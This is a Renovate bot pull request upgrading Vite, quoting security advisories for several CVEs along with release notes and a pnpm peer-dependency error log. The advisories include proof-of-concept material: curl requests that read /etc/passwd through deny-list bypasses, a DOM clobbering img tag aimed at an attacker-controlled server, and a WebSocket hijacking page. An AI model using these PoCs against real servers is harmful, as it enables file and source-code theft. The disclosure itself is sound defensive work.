Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update devdependency vite to v4 [security] #38

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 6, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) ^3.1.0 -> ^4.5.12 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-31207

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

  • with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
  • with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

CVE-2025-24010

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

  • Using the backend integration feature
  • Using a reverse proxy in front of Vite
  • Accessing the development server via a domain other than localhost or *.localhost
  • Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

  • fix the plugin / framework code to the make it compatible with the new version of Vite
  • set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
    • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
  4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
  4. The user edits some files.
  5. Vite sends some HMR messages over WebSocket.
  6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

  1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
  2. The user accesses the malicious web page.
  3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
  4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
  5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
    • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

  1. I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
  1. Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
  1. Kick off Vite
npm run dev
  1. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
  2. Edit src/App.jsx file and intentionally place a syntax error
  3. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

vite-cswsh.mov

CVE-2025-31486

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected..

Details

.svg

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@&#8203;fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

Release Notes

vitejs/vite (vite)

v4.5.12

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.11

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.10

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.9

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.8

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.7

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.6

Compare Source

This version contains a breaking change due to security fixes. See GHSA-vg6x-rcgg-rjx6 for more details.

Please refer to CHANGELOG.md for details.

v4.5.5

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.3

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.5.0

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.12

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.11

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.10

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.9

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.8

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.7

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.6

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.5

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.4

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.3

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.4.0

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.9

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.8

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.7

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.6

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.5

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.4

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.3

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.3.0

Compare Source

Please refer to CHANGELOG.md for details.

v4.2.3

Compare Source

Please refer to CHANGELOG.md for details.

v4.2.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.2.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.2.0

Compare Source

Please refer to CHANGELOG.md for details.

v4.1.5

Compare Source

Please refer to CHANGELOG.md for details.

v4.1.4

Compare Source

Please refer to CHANGELOG.md for details.

v4.1.3

Compare Source

Please refer to CHANGELOG.md for details.

v4.1.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.1.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.1.0

Compare Source

Please refer to CHANGELOG.md for details.

v4.0.5

Compare Source

Please refer to CHANGELOG.md for details.

v4.0.4

Compare Source

Please refer to CHANGELOG.md for details.

v4.0.3

Compare Source

Please refer to CHANGELOG.md for details.

v4.0.2

Compare Source

Please refer to CHANGELOG.md for details.

v4.0.1

Compare Source

Please refer to CHANGELOG.md for details.

v4.0.0

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.11

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.10

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.8

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.7

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.6

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.5

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.4

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.3

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.2

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.1

Compare Source

Please refer to CHANGELOG.md for details.

v3.2.0

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.8

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.7

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.6

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.5

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.4

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.3

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.2

Compare Source

Please refer to CHANGELOG.md for details.

v3.1.1

Compare Source

Please refer to CHANGELOG.md for details.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link
Contributor Author

renovate bot commented Aug 6, 2024

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml
Progress: resolved 1, reused 0, downloaded 0, added 0
Progress: resolved 12, reused 0, downloaded 9, added 0
Progress: resolved 17, reused 0, downloaded 16, added 0
Progress: resolved 17, reused 0, downloaded 17, added 0
Progress: resolved 29, reused 0, downloaded 22, added 0
Progress: resolved 52, reused 0, downloaded 42, added 0
Progress: resolved 68, reused 0, downloaded 58, added 0
Progress: resolved 92, reused 0, downloaded 81, added 0
Progress: resolved 117, reused 0, downloaded 106, added 0
Progress: resolved 142, reused 0, downloaded 129, added 0
Progress: resolved 160, reused 0, downloaded 149, added 0
Progress: resolved 201, reused 0, downloaded 171, added 0
 WARN  deprecated [email protected]: Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.
Progress: resolved 242, reused 0, downloaded 207, added 0
Progress: resolved 271, reused 0, downloaded 233, added 0
Progress: resolved 322, reused 0, downloaded 284, added 0
Progress: resolved 364, reused 0, downloaded 329, added 0
Progress: resolved 411, reused 0, downloaded 380, added 0
Progress: resolved 444, reused 0, downloaded 411, added 0
Progress: resolved 491, reused 0, downloaded 458, added 0
Progress: resolved 541, reused 0, downloaded 501, added 0
Progress: resolved 597, reused 0, downloaded 562, added 0
Progress: resolved 643, reused 0, downloaded 603, added 0
Progress: resolved 675, reused 0, downloaded 641, added 0
Progress: resolved 686, reused 0, downloaded 651, added 0
Progress: resolved 707, reused 0, downloaded 663, added 0
Progress: resolved 746, reused 0, downloaded 705, added 0
Progress: resolved 769, reused 0, downloaded 731, added 0
Progress: resolved 811, reused 0, downloaded 769, added 0
Progress: resolved 841, reused 0, downloaded 774, added 0
Progress: resolved 889, reused 0, downloaded 810, added 0
Progress: resolved 917, reused 0, downloaded 835, added 0
Progress: resolved 947, reused 0, downloaded 873, added 0
Progress: resolved 994, reused 0, downloaded 926, added 0
Progress: resolved 1021, reused 0, downloaded 955, added 0
Progress: resolved 1021, reused 0, downloaded 956, added 0
Progress: resolved 1022, reused 0, downloaded 958, added 0

 ERR_PNPM_PEER_DEP_ISSUES  Unmet peer dependencies

.
└─┬ @ow3/stacks 0.30.4
  ├─┬ vitepress 1.0.0-alpha.13
  │ └─┬ @docsearch/js 3.2.1
  │   └─┬ @docsearch/react 3.2.1
  │     └─┬ @algolia/autocomplete-preset-algolia 1.7.1
  │       └── ✕ missing peer @algolia/client-search@^4.9.1
  └─┬ commitizen 4.2.5
    └─┬ cz-conventional-changelog 3.3.0
      └─┬ @commitlint/load 18.6.1
        └─┬ cosmiconfig 8.3.6
          └── ✕ unmet peer typescript@>=4.9.5: found 4.8.3
Peer dependencies that should be installed:
  @algolia/client-search@^4.9.1

hint: If you want peer dependencies to be automatically installed, add "auto-install-peers=true" to an .npmrc file at the root of your project.
hint: If you don't want pnpm to fail on peer dependency issues, add "strict-peer-dependencies=false" to an .npmrc file at the root of your project.


@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from fd31350 to 58ed56d Compare September 17, 2024 23:03
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.10 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Sep 17, 2024
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 58ed56d to 33e97ed Compare January 22, 2025 01:39
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Jan 22, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 33e97ed to 3f31dee Compare January 23, 2025 21:05
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Jan 23, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 3f31dee to e83308b Compare January 24, 2025 01:23
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Jan 24, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from e83308b to 1c59f66 Compare January 30, 2025 17:19
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Jan 30, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 1c59f66 to 7e4ddc0 Compare January 30, 2025 20:55
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Jan 30, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 7e4ddc0 to a68330e Compare February 9, 2025 13:04
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Feb 9, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from a68330e to 267cca0 Compare February 9, 2025 16:59
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Feb 9, 2025
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch 2 times, most recently from fbd4972 to 46a1b7e Compare March 3, 2025 22:07
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Mar 3, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 46a1b7e to 8cbfc5f Compare March 11, 2025 13:28
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Mar 11, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 8cbfc5f to 801ef64 Compare March 11, 2025 22:44
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Mar 11, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 801ef64 to ca73840 Compare March 13, 2025 15:47
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Mar 13, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from ca73840 to 95e10a1 Compare March 13, 2025 18:26
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Mar 13, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 95e10a1 to 6a5f9be Compare March 17, 2025 17:27
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Mar 17, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 6a5f9be to bbda295 Compare March 17, 2025 22:23
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Mar 17, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from bbda295 to 283b2e4 Compare April 1, 2025 14:01
@renovate renovate bot changed the title chore(deps): update devdependency vite to v4 [security] chore(deps): update devdependency vite to ^3.2.11 [security] Apr 1, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 283b2e4 to 7c023b7 Compare April 1, 2025 19:48
@renovate renovate bot changed the title chore(deps): update devdependency vite to ^3.2.11 [security] chore(deps): update devdependency vite to v4 [security] Apr 1, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 7c023b7 to 8147778 Compare April 4, 2025 22:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants